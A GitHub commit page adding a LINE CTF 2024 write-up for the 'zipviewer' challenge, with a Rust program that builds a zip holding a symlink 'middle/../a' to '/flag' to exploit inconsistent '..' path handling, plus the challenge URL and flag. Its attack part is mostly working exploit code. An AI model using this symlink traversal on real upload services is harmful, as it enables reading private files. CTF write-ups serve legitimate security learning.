Skip to content

Commit 3813225

Browse files
committed
Add PlaidCTF and LineCTF 2024
1 parent cda0db4 commit 3813225

File tree

12 files changed

+1204
-0
lines changed

12 files changed

+1204
-0
lines changed

LINECTF/2024/zipviewer.md

+34
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# zipviewer-version
2+
3+
If the path of the file contains `..`, it is handled differently during the unzipping and the entry listing.
4+
We can exploit this discrepancy to prevent a symbolic link file from being deleted.
5+
6+
Here is a Rust code that generates such a zip file:
7+
8+
```rust
9+
use std::io::Cursor;
10+
11+
use zip::write::FileOptions;
12+
13+
fn main() -> anyhow::Result<()> {
14+
let mut buffer = Vec::new();
15+
{
16+
let mut zip = zip::ZipWriter::new(Cursor::new(&mut buffer));
17+
18+
zip.start_file("flag", FileOptions::default())?;
19+
20+
zip.start_file("middle/flag", FileOptions::default())?;
21+
zip.add_symlink("middle/../a", "/flag", FileOptions::default())?;
22+
23+
zip.finish()?;
24+
}
25+
26+
std::fs::write("prepare.zip", &buffer)?;
27+
28+
Ok(())
29+
}
30+
```
31+
32+
After uploading this zip file, the flag can be downloaded at `http://35.243.120.91:11001/download/a`.
33+
34+
Flag: `LINECTF{34d98811f9f20094d1cc75af9299e636}`

0 commit comments

Comments
 (0)